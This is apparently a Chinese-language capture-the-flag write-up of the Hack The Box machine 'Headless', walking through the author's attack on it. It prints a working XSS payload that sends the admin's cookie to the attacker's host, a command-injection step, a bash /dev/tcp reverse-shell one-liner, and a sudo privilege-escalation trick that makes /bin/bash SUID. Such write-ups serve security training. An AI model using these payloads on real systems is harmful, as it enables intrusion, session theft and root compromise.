Linux/Headless

Headless

Enumeration

nmap

用 nmap 扫描了常见的端口，发现对外开放了 22 和 5000，而且 nmap 显示 5000 端口的服务是 upnp？

┌──(kali㉿kali)-[~/vegetable/HTB/headless]
└─$ nmap 10.10.11.8
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-24 22:33 EDT
Nmap scan report for 10.10.11.8
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 58.54 seconds

再次使用 nmap 扫描一下这两个端口的详细信息，如下（部分）

┌──(kali㉿kali)-[~/vegetable/HTB/headless]
└─$ nmap -sC -sV -p 22,5000 -oA nmap 10.10.11.8                                       
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-24 22:40 EDT
Nmap scan report for 10.10.11.8
Host is up (0.38s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_  256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Mon, 25 Mar 2024 02:40:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close

在 nmap 给出的结果中，在第 16 行可以看到 server 为 Werkzeug/2.2.2 Python/3.11.2，Werkzeug 是最流行的 Python WSGI 实用程序框架之一，之前在 Agile 机器中也遇到过，当时利用了 LFI to RCE，尝试搜索相关漏洞时，除了刚才的漏洞就只发现了拒绝服务攻击等，没有很大的利用价值。尝试访问 5000 端口，看到结果如下

Exploitation

Cross Site Scripting

页面里没发现什么东西，点击 For questions 会跳转到一个表单，按照内容填写对应信息，然后提交，并没有什么变化，这种留言板一样的东西，会不会是 xss ？

经过一番尝试，使用最基本的 payload（），发现如果在参数 message 后拼接该 payload，页面会报错，显示如下。页面提示说我的 ip 被标记了，包含浏览器信息的报告已发送给管理员进行调查。呕吼，被威胁了！但是这就很奇怪了，之前在这几个参数中都分别添加了 payload，但是只有 message 有这样的提示

如果导致系统异常，就会像上面一样，把信息发送给管理员，经过测试发现在 message 参数处加一个 <script> 触发报错，然后在 User-Agent 处添加一个 payload，img 标签中的 url 地址是在 kali 系统里用 python 开启的，发送下面的数据包

回到 python web 处，可以看到有如下响应，证明实验成功了。message 处添加过滤字符发送到服务器，就会将类似于刚才那种包含了请求头的文件发送给管理员，从而导致 payload 被执行，访问 img 标签中的地址

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.24 - - [25/Mar/2024 03:19:11] "GET / HTTP/1.1" 200 -
10.10.11.8 - - [25/Mar/2024 03:19:20] "GET / HTTP/1.1" 200 -

和刚才的实验一样，可以利用 payload 来获取管理员的 cookie，将 User-Agent 处 payload 替换为 <img src=x οnerrοr=fetch('http://10.10.14.24/'+document.cookie);> ，然后在 kali 中可以收到如下 cookie，一个是自己的，另一个是管理员的

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.24 - - [25/Mar/2024 03:52:31] code 404, message File not found
10.10.14.24 - - [25/Mar/2024 03:52:31] "GET /is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 404 -
10.10.11.8 - - [25/Mar/2024 03:52:35] code 404, message File not found
10.10.11.8 - - [25/Mar/2024 03:52:35] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -

有了 cookie 就可以登录系统了，那肯定得有登录口，简单试了试 login，admin，dashboard 等，发现 dashboard 可用，访问该接口页面显示未认证。然后使用 BurpSuite 抓包，替换 cookie 为刚刚获取到的管理员的 cookie，即可使用管理员身份登录系统

可以在 BurpSuite 中进行设置，以免需要一直在请求头替换 cookie。在 Proxy → Options → Match and Replace 中，点击 Add，在 Match 处添加以前的 cookie，在 Replace 处添加管理员的 cookie。非常简单暴力，主要是因为这两个值都不会变，所以我直接替换了值

Command Injection

点击页面中唯一的按钮 Generate Report 时，并没有生成 Report 或者任何成功/失败的提示，只有页面显示了 Systems are up and running!，不理解是什么意思，也没搞懂发生了什么

在 BurpSuite 中发现，刚才的请求有一个 date 参数，参数值是一个日期，对应了之前页面中显示的日期，尝试在该参数后面添加 ;id，意外的响应了，返回了 id 信息，此处存在命令执行漏洞

接下来在 kali 中开启监听，然后使用如下反向连接 shell 替换数据包中的 id 并发送

bash -c 'bash -i >& /dev/tcp/10.10.14.24/4443 0>&1'

在监听端得到了一个 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4443
listening on [any] 4443 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.8] 58590
bash: cannot set terminal process group (1359): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$

然后升级 shell 为交互式

dvir@headless:~/app$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dvir@headless:~/app$ ^Z
zsh: suspended  nc -nvlp 4443
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg              
[1]  + continued  nc -nvlp 4443
                               reset
reset: unknown terminal type unknown
Terminal type? screen

Privilege Escalation

sudo

使用 sudo -l 发现可以不使用密码以 root 身份执行 /usr/bin/syscheck

dvir@headless:~/app$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

查看该脚本，可以看到该脚本用于检查 Linux 系统状态，从第 19 行开始，脚本使用 pgrep 命名检查 是否存在 initdb.sh，如果不存在，脚本输出不存在的消息并尝试运行 initdb.sh，如果存在该脚本，则输出数据库服务正在运行的消息

dvir@headless:/usr/bin$ cat syscheck
cat syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

需要创建一个 initdb.sh，在其中写入以下内容

#!/bin/bash
sudo chmod u+s /bin/bash

然后为该 .sh 文件添加执行权限，执行 sudo /usr/bin/syscheck 命令，然后执行 bash -p 指令即可获取 root权限

over!